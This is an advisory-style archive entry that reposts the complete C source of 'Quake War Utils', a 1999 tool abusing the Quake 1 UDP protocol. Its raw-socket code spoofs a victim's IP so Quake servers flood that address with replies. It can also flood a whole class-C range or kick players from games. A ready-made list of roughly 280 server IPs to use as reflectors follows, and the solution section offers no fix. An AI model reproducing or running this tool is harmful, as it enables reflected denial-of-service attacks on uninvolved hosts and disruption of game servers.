COMMAND

    Quake

SYSTEMS AFFECTED

    Quake

PROBLEM

    Fabio Yamamoto posted  following.  It's  Quake "smurf" from  Quake
    War Utils.   This 'exploit'  use the  ugly Quake  1 UDP  protocol.
    When you send  the 'conection Request'  to the quake  server, they
    will reponse with tons  of UDP's packets.   And if the ip  already
    conected they will be kicked from the game.

    Functions:

        1) Flood a determined IP with game's data.  Just Like a Smurf,
           but better, because you just  have to send a few  bites and
           the quake server Always will  reponse with a lot of  kbytes
           (hundreds)....
        2) KICK ANY PLAYER FROM THE GAME (QUAKE 1)

    When Flooding, DONT flood the same ip twice, the second flood will
    stop the first.

    /*
        Quake War Utils 1.1 - 1999 - By Sgi
    
    
    
    fyy@hostname.org
    
    IN THE END OF THIS FILE, THERE IS A QUAKE SERVER LIST
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <linux/if_ether.h>
    #include <linux/tcp.h>
    #include <linux/udp.h>
    #include <linux/icmp.h>
    #include <linux/if_packet.h>
    #include <linux/if_arp.h>
    #include <linux/ip.h>
    
    char *	readline		( int socket );
    void 	usage			( char *arg0 );
    int     GetList                 ( char *host );
    int 	ConnectTCP		( char *ip, int port );
    int 	Makeshit 		( char *host, int port,char *dest   );
    
    int 	FloodByFileServerList( char *file, char *dest );
    
    struct player {
        char name [32][255];
        char ip   [32][255];
        int pos   [32];
        int count;
    }player;
    
    int ConnectTCP( char *ip, int port ) {
        int sockfd;
        struct sockaddr_in daddr;
        struct hostent 	*he;
    
        sockfd = socket( AF_INET,SOCK_STREAM,IPPROTO_TCP );
    
        if ((he=gethostbyname(ip)) == NULL) {
	    printf("[%s] - Host nao encontrado\n",ip);
	    fflush(stdout);
    	    return -1;
        }
        daddr.sin_family      = AF_INET;
        daddr.sin_port        = htons( port );
        daddr.sin_addr 	= *((struct in_addr *)he->h_addr);
        if((connect(sockfd,(struct sockaddr *)&daddr, sizeof(struct sockaddr_in)))==-1){
	    return -1;
        }
        return sockfd;
    }
    char *readline( int socket ){
        int i=0;
        char temp;
        char *temp01=(char *)malloc(512);
        memset(temp01,0x00,512);
        do{
	    if( read( socket , &temp ,1 ) <=0){
	        free(temp01);
	        return NULL;
	    }
	    if(temp!=0x0d && temp!=0x0a && temp!=' ')
	        temp01[i++]=temp;
        }while(temp!=0x0a && i<512);
    
        return temp01;
    }
    char *freadline( FILE *fp ){
        int i=0;
        char temp;
        char *temp01=(char *)malloc(512);
        memset(temp01,0x00,512);
        do{
	    if(feof(fp)){
	        free(temp01);
	        return NULL;
	    }
	    if( fread( &temp ,1,1,fp ) <=0){
	        free(temp01);
	        return NULL;
	    }
	    if(temp!=0x0d && temp!=0x0a && temp!=' ')
	        temp01[i++]=temp;
        }while(!feof(fp) && temp!=0x0a && i<512);
    
        return temp01;
    }
    
    unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
    {
      register int lenny = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;
      while (lenny > 1) {
        sum += *w++;
        sum += *w++;
        lenny -= 2;
      }
      if (lenny == 1) {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
      }
      sum = (sum >> 17) + (sum & 0xffff);
      sum += (sum >> 17);
      answer = -sum;
      return (answer);
    }
    
    int Makeshit ( char *host, int port,char *dest )
    {
        int S1;
        unsigned char buffer[1500];
        unsigned char str[]={ 0x80,0x00,0x00,0x0C,0x01,0x51,0x55,0x41,0x4B,0x45,0x00,0x03 };
    
        struct sockaddr_in 	sin;
        struct hostent 	*he;
    
        struct iphdr    * 	ip = (struct iphdr  *)&buffer[0];
        struct udphdr   * 	udp= (struct udphdr *)&buffer[sizeof(struct iphdr)];
        char * data=&buffer[sizeof(struct iphdr)+sizeof(struct udphdr)];
        memset( buffer, 0x00, 1500 );
    
        if(host==NULL) return 0;
        if(dest==NULL) return 0;
    
        if((S1=socket(AF_INET,SOCK_RAW,255))==-1){
	    perror("socket");
    	    exit(1);
        }
    
    
        ip->version = 4;
        ip->ihl	= 5;
        ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(str));
        ip->id     	= random();
        ip->ttl	= 64;
        ip->protocol= 17;
    
        if ((he=gethostbyname(host)) == NULL) {
	    printf("[%s] - Host nao encontrado\n",host);
    	    return 0;
        }
    
        memcpy(&ip->daddr, he->h_addr, he->h_length);
    
        if ((he=gethostbyname(dest)) == NULL) {
	    printf("[%s] - Host nao encontrado\n",dest);
    	    return 0;
        }
    
        memcpy(&ip->saddr, he->h_addr, he->h_length);
    
        ip->check	= in_cksum(&ip, sizeof(struct iphdr));
    
        udp->source = htons(26000);
        udp->dest   = htons(port);
        udp->len	= htons(sizeof(struct udphdr)+sizeof(str));
    
        sin.sin_family		= AF_INET;
        sin.sin_addr.s_addr		= ip->daddr;
        sin.sin_port		= udp->dest;
    
        memcpy( data, str, sizeof(str));
        if((sendto(S1, buffer, sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(str), 0,
    (struct sockaddr*)&sin, sizeof(struct sockaddr)))==-1)
            perror("sendto");
        close(S1);
    }
    void main( int argc, char **argv )
    {
        int i;
        char temp01[255];
        printf("\nQuake WarUtils 1.1 - By Garage 1999 - Sgi");
        printf("\n - Is the end of quake as we know it");
        if( argc < 3 ){
	    usage( argv[0] );
	    exit(0);
        }
        if( strcmp( argv[1],"-d" ) ==0 ) {
	    Makeshit( argv[2], 26000, argv[3] );
        }
        if( strcmp( argv[1],"-k" ) ==0 ) {
	    GetList( argv[2] );
            for(i=0;i<player.count;i++){
	        printf("\nIP: %s -> Going Down",player.ip[i]);
	        Makeshit( argv[2], 26000,player.ip[i] );
	        fflush(stdout);
	    }
        }
        if( strcmp( argv[1],"-l" ) ==0 ) {
            GetList( argv[2] );
            for(i=0;i<player.count;i++){
	        printf("\nIP: %s - %s",player.name[i],player.ip[i]);
	        fflush(stdout);
	    }
        }
        if( strcmp(argv[1],"-fF") == 0 ){
	    FloodByFileServerList( argv[3], argv[2] );
        }
        if( strcmp(argv[1],"-fFC") == 0 ){
	    for(i=1;i<255;i++){
	        snprintf(temp01,255,"%s.%d",argv[2],i);
	        printf("\nFlooding %s",temp01);
	        FloodByFileServerList( argv[3], temp01 );
	        fflush(stdout);
	    }
        }
    
        printf("\n");
    }
    int FloodByFileServerList( char *file, char *dest ){
        char 	buffer	[512];
        char 	ip	[255];
        char *	buf;
        FILE *	fp;
        int i;
        int port;
        printf("\nSending packets to quake servers.\n");
        if((fp=fopen(file,"r"))!=NULL){
	    do{
	        if((buf=freadline(fp))!=NULL){
	            if( strcmp( buf,"(null)" ) !=0 ){
		        if( strchr( buf,':' ) !=NULL ){
    		            for(i=0;i<strlen(buf);i++){
			        if(buf[i]==':'){
			            memset( ip , 0x00 ,255);
			            strncpy( ip,buf,i );
			            port=atoi(&buf[i+1]);
			            printf(".");
			            Makeshit(ip,port,dest );
			            fflush(stdout);
			            break;
		    	        }
		            }
    		        } else {
	    	            memset( ip , 0x00 ,255);
	    	            strncpy(ip,buf,255);
	    	            printf(".",ip,26000);
	    	            Makeshit(ip,26000,dest );
	    	            fflush(stdout);
		        }
		        free(buf);
    	            }
	        }
	    }while(!feof(fp));
	    fclose( fp );
        }  else {
	    printf("\nImpossivel Abrir %s\n",file);
	    exit(0);
        }
    }
    int GetList( char *host )
    {
        int S1;
        int i;
        int a;
        struct sockaddr_in sin;
        struct hostent *   he2;
        struct timeval     tv;
        fd_set      fds;
        unsigned char str[]={ 0x80,0x00,0x00,0x06,0x03,0x00 };
        unsigned char buffer[5000];
    
        if(host==NULL) return 0;
    
    
        if ((S1 = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
            perror("socket");
	    return -1;
        }
        if ((he2=gethostbyname(host)) == NULL) {
	    perror( host );
            return 0;
        }
    
        sin.sin_family 	= AF_INET;
        sin.sin_port 	= htons( 26000 );
        sin.sin_addr 	= *((struct in_addr *)he2->h_addr);
        connect(S1, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));
    
        for( i=0;i<16;i++ ){
	    str[5]=i;
	    write( S1, str, sizeof(str) );
        }
        player.count=0;
        for( i=0;i<20;i++ ){
	    FD_ZERO ( &fds     );
	    FD_SET  ( S1, &fds );
    
	    tv.tv_sec  = 3;
	    tv.tv_usec = 0;
    
	    if( select (S1 + 1, &fds, NULL, NULL, &tv) <=0 ){
	        break;
	    }
	    if(FD_ISSET (S1, &fds)){
	        if( read( S1, buffer, 5000 ) <=0){
		    break;
	        }
	        player.pos[player.count]=buffer[5];
	        strncpy( player.name[player.count], &buffer[6], 255 );
	        strncpy( player.ip[player.count], &buffer[strlen(&buffer[06])+19],255 );
	        for(a=0;a<255;a++){
		    if(player.ip[player.count][a]==':'){
		        player.ip[player.count][a]=0x00;
		    }
	        }
	        player.count++;
	    }
        }
    }
    
    void usage( char *arg0 )
    {
        printf("\n\nFlood Utils: (like a smurf attack)");
        printf("\n        -fF  <ip_victim> <Qservers_Ip_List_File>   - Flood using a Filelist");
        printf("\n        -fFC <ip_victim> <Qservers_Ip_List_File>   - Flood a Entire Class C");
        printf("\nGame Cheat Utils");
        printf("\n        -d <quake_server_ip> <ip_victim>          - KICK ip_victim of the game");
        printf("\n        -k <quake_server_ip>                      - KICK all players");
        printf("\n        -l <quake_server_ip>                      - List all players");
        printf("\n");
        printf("\nExamples:");
        printf("\n%s -fF 66.69.66.69 ./my_list.txt",arg0);
        printf("\n%s -fFC 66.69.66 ./my_list.txt",arg0);
        printf("\n%s -d 200.211.222.33 66.69.66.69",arg0);
        printf("\n%s -k 200.211.222.33",arg0);
        printf("\n");
    
    }
    
    /* Quake Server list */
    /*
    128.130.167.11
    128.138.149.30
    128.163.161.105
    128.2.237.78
    128.2.74.204
    128.210.1.32
    128.52.39.161
    129.15.3.38
    129.16.30.88
    129.186.121.53
    129.89.124.118
    130.18.148.24
    130.225.226.37
    130.233.18.145
    130.233.34.217
    130.236.249.227
    130.237.191.38
    130.237.233.111
    130.240.195.72
    130.241.142.10
    130.63.74.16
    130.89.224.162
    131.215.88.72
    132.230.153.50
    132.230.63.23
    132.235.176.61
    134.147.141.98
    134.184.26.55
    134.193.111.241
    136.159.102.88
    137.138.93.253
    137.226.116.82
    137.238.168.77
    137.46.177.61
    139.174.243.161
    140.142.110.20
    140.82.20.5
    143.236.122.227
    143.236.55.131:26000
    143.236.67.241
    148.122.208.243
    148.202.1.5
    149.156.159.100
    157.182.246.58
    160.216.40.10
    160.45.32.176
    161.72.14.234
    163.1.138.204
    165.166.144.42
    167.206.222.12
    167.206.58.65
    169.197.1.154
    171.64.65.70
    192.107.41.7
    192.124.43.73
    192.52.220.101
    192.66.190.19
    193.124.228.3
    193.13.231.149
    193.166.64.4
    193.192.94.101
    193.193.218.20
    193.212.6.164
    193.74.114.41
    194.109.0.242
    194.109.6.217
    194.112.36.10
    194.158.160.23
    194.159.164.166
    194.179.127.122
    194.19.128.13
    194.198.120.13
    194.213.72.23
    194.239.134.18
    194.239.25.28
    194.250.120.11
    194.65.5.103
    194.65.65.120
    195.147.246.71
    195.226.224.113
    195.238.2.30
    195.248.96.45
    195.66.14.19
    195.82.123.5
    196.25.1.132
    198.146.194.20
    198.164.230.15
    198.199.206.38
    198.22.130.136
    198.6.71.21
    199.217.218.7
    199.246.132.8
    199.44.28.89
    199.67.51.101
    199.72.175.179
    200.18.178.14
    200.18.6.44
    200.194.249.6
    200.223.37.7
    200.225.63.132
    200.238.181.26
    200.238.219.8
    200.238.225.102
    200.238.251.11
    200.238.61.2
    200.239.48.4
    200.240.7.13
    200.241.125.10
    200.241.222.30
    200.241.43.11
    200.241.97.243
    200.245.221.21
    200.246.0.248
    200.246.122.250
    200.246.148.37
    200.246.163.6
    200.246.227.44
    200.246.248.9
    200.246.5.28
    200.246.52.4
    200.247.240.4
    200.248.149.31
    200.248.241.1
    200.249.220.21
    200.250.234.39
    200.250.245.20
    200.250.7.8
    200.251.135.5
    200.255.111.251
    200.255.176.28
    200.255.207.4
    200.255.218.41
    200.255.244.2
    202.188.100.222
    202.27.184.4
    203.15.24.46
    203.16.135.34
    203.17.103.34
    203.17.23.13
    203.17.240.25
    203.30.239.5
    203.32.8.197
    203.55.240.1
    203.61.156.162
    203.96.92.66
    204.1.168.3
    204.137.133.134
    204.156.22.66
    204.157.39.7
    204.174.17.22
    204.177.184.31
    204.177.71.250
    204.178.74.130
    204.179.189.2
    204.191.124.66
    204.192.38.5
    204.209.212.5
    204.213.176.8
    204.213.250.105
    204.216.126.251
    204.233.108.7
    204.248.210.20
    204.253.208.225
    204.254.98.15
    204.43.32.24
    204.43.34.51
    204.49.61.30
    204.56.45.66
    204.96.49.110
    204.97.1.13
    204.97.180.46
    205.136.19.8
    205.152.131.250
    205.163.58.20
    205.177.27.190
    205.197.242.62
    205.217.6.16
    205.231.236.20
    205.238.136.10
    205.252.89.9
    206.100.36.6
    206.112.1.31
    206.129.112.24
    206.147.58.45
    206.149.144.14
    206.15.112.138
    206.154.181.19
    206.154.216.100
    206.160.192.100
    206.181.233.76
    206.20.111.7
    206.230.18.20
    206.233.98.22
    206.248.16.16
    206.25.206.10
    206.27.158.17
    206.41.136.94
    206.55.129.67
    206.83.174.10
    206.96.251.44
    206.98.65.142
    207.102.122.250
    207.102.80.249
    207.106.42.14
    207.114.144.200
    207.120.29.71
    207.126.64.250
    207.126.68.218
    207.126.70.4
    207.152.95.9
    207.171.0.68
    207.172.7.66
    207.19.125.13
    207.193.205.9
    207.20.226.128
    207.201.91.8
    207.206.116.41
    207.227.81.201
    207.236.41.30
    207.245.54.203
    207.254.69.25
    207.3.64.52
    207.30.184.20
    207.34.202.24
    207.49.0.5
    207.65.182.12
    207.99.85.67
    208.0.122.11
    208.130.66.58
    208.137.128.24
    208.137.139.11
    208.163.10.11
    208.194.67.16
    208.200.50.100
    208.201.224.211
    208.201.40.12
    208.206.76.47
    208.247.254.9
    208.249.71.120
    208.28.245.194
    208.8.100.251
    208.8.182.15
    209.113.72.13
    209.144.112.60
    209.161.0.59
    209.172.184.218
    209.222.147.6
    209.223.130.62
    209.232.122.46
    209.249.185.70
    209.51.213.13
    209.90.128.16
    209.96.178.230
    216.102.104.247
    216.161.20.65
    216.58.1.16
    216.66.15.130
    216.77.21.184
    24.218.83.224
    24.219.87.225
    24.226.80.88
    24.226.88.65
    24.93.22.183
    36.50.0.240
    36.60.0.163
    38.233.80.136
    63.65.143.24
    */

SOLUTION

    Nothing yet, but it's Quake 1, right?